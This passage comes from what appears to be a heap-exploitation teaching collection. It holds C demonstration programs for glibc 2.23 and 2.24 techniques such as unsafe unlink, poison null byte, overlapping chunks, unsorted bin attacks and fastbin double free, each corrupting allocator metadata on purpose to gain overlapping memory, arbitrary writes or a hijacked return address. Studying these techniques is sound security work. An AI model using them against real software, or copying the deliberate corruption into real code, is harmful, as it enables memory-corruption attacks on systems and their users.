printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845
With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.
Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);
/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/
/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
_exit(0); // exit early just in case we corrupted some libraries
}
================================================
FILE: glibc_2.23/overlapping_chunks.c
================================================
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);
fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");
fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}
================================================
FILE: glibc_2.23/overlapping_chunks_2.c
================================================
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");
free(p4);
fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);
fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);
fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
}
================================================
FILE: glibc_2.23/poison_null_byte.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %p\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
}
================================================
FILE: glibc_2.23/sysmalloc_int_free.c
================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>
#define SIZE_SZ sizeof(size_t)
#define CHUNK_HDR_SZ (SIZE_SZ*2)
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)
#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESIZE-1)
// fencepost are offsets removed from the top before freeing
#define FENCEPOST (2*CHUNK_HDR_SZ)
#define PROBE (0x20-CHUNK_HDR_SZ)
// target top chunk size that should be freed
#define CHUNK_FREED_SIZE 0x150
#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)
/**
* Tested on:
* + GLIBC 2.23 (x86_64, x86 & aarch64)
*
* sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,
* which can be used to corrupt heap without needing to call free() directly.
* This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),
* if the top_chunk can't be merged during heap growth
* https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
*
* This technique is used in House of Orange & Tangerine
*/
int main() {
size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;
// disable buffering
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// check if all chunks sizes are aligned
assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);
puts("Constants:");
printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ);
printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN);
printf("page align \t\t= 0x%lx\n", PAGESIZE);
printf("fencepost size \t\t= 0x%lx\n", FENCEPOST);
printf("freed size \t\t= 0x%lx\n", FREED_SIZE);
printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);
// probe the current size of the top_chunk,
// can be skipped if it is already known or predictable
new = malloc(PROBE);
top_size = new[(PROBE / SIZE_SZ) + 1];
printf("first top size \t\t= 0x%lx\n", top_size);
// calculate allocated_size
allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;
allocated_size &= PAGE_MASK;
allocated_size &= MALLOC_MASK;
printf("allocated size \t\t= 0x%lx\n\n", allocated_size);
puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)");
new = malloc(allocated_size);
// use BOF or OOB to corrupt the top_chunk
top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];
top_size = *top_size_ptr;
printf(""
"----- %-14p ----\n"
"| NEW | <- initial malloc\n"
"| |\n"
"----- %-14p ----\n"
"| TOP | <- top chunk (wilderness)\n"
"| SIZE (0x%05lx) |\n"
"| ... |\n"
"----- %-14p ---- <- end of current heap page\n\n",
new - 2,
top_size_ptr - 1,
top_size - 1,
top_size_ptr - 1 + (top_size / SIZE_SZ));
puts("2. corrupt the size of top chunk to be less, but still page aligned");
// make sure corrupt top size is page aligned, generally 0x1000
// https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599
new_top_size = top_size & PAGE_MASK;
*top_size_ptr = new_top_size;
printf(""
"----- %-14p ----\n"
"| NEW |\n"
"| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n"
"----- %-14p ----\n"
"| TOP | <- corrupt size of top chunk (wilderness)\n"
"| SIZE (0x%05lx) |\n"
"----- %-14p ---- <- still page aligned\n"
"| ... |\n"
"----- %-14p ---- <- end of current heap page\n\n",
new - 2,
top_size_ptr - 1,
new_top_size - 1,
top_size_ptr - 1 + (new_top_size / SIZE_SZ),
top_size_ptr - 1 + (top_size / SIZE_SZ));
puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth");
puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it");
// remove fencepost from top_chunk, to get size that will be freed
// https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895
freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
assert(freed_top_size == CHUNK_FREED_SIZE);
old = new;
new = malloc(CHUNK_FREED_SIZE + 0x10);
printf(""
"----- %-14p ----\n"
"| OLD |\n"
"| AAAAAAAAAAAAAAAAAAAAA |\n"
"----- %-14p ----\n"
"| FREED | <- old top got freed because it couldn't be merged\n"
"| SIZE (0x%05lx) |\n"
"----- %-14p ----\n"
"| FENCEPOST | <- just some architecture depending padding\n"
"----- %-14p ---- <- still page aligned\n"
"| ... |\n"
"----- %-14p ---- <- end of previous heap page\n"
"| NEW | <- new malloc\n"
"-------------------------\n"
"| TOP | <- top chunk (wilderness)\n"
"| ... |\n"
"------------------------- <- end of current heap page\n\n",
old - 2,
top_size_ptr - 1,
freed_top_size,
top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),
top_size_ptr - 1 + (new_top_size / SIZE_SZ),
new - (MALLOC_ALIGN / SIZE_SZ));
puts("...\n");
puts("?. reallocated into the freed chunk");
old = new;
new = malloc(FREED_SIZE);
assert((size_t) old > (size_t) new);
printf(""
"----- %-14p ----\n"
"| NEW | <- allocated into the freed chunk\n"
"| |\n"
"----- %-14p ----\n"
"| ... |\n"
"----- %-14p ---- <- end of previous heap page\n"
"| OLD | <- old malloc\n"
"-------------------------\n"
"| TOP | <- top chunk (wilderness)\n"
"| ... |\n"
"------------------------- <- end of current heap page\n",
new - 2,
top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),
old - (MALLOC_ALIGN / SIZE_SZ));
}
================================================
FILE: glibc_2.23/unsafe_unlink.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
================================================
FILE: glibc_2.23/unsorted_bin_attack.c
================================================
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
================================================
FILE: glibc_2.23/unsorted_bin_into_stack.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
}
================================================
FILE: glibc_2.24/fastbin_dup.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c);
return 0;
}
================================================
FILE: glibc_2.24/fastbin_dup_consolidate.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
directly due to the previnuse check.
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
if possible.
As of glibc version 2.35 it is called only in the following five places:
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
*/
int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
void* p1 = calloc(1,0x40);
printf("Allocate a fastbin chunk p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
assert(p1 == p3);
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
printf("p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We have achieved duplication!\n\n");
return 0;
}
================================================
FILE: glibc_2.24/fastbin_dup_into_stack.c
================================================
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
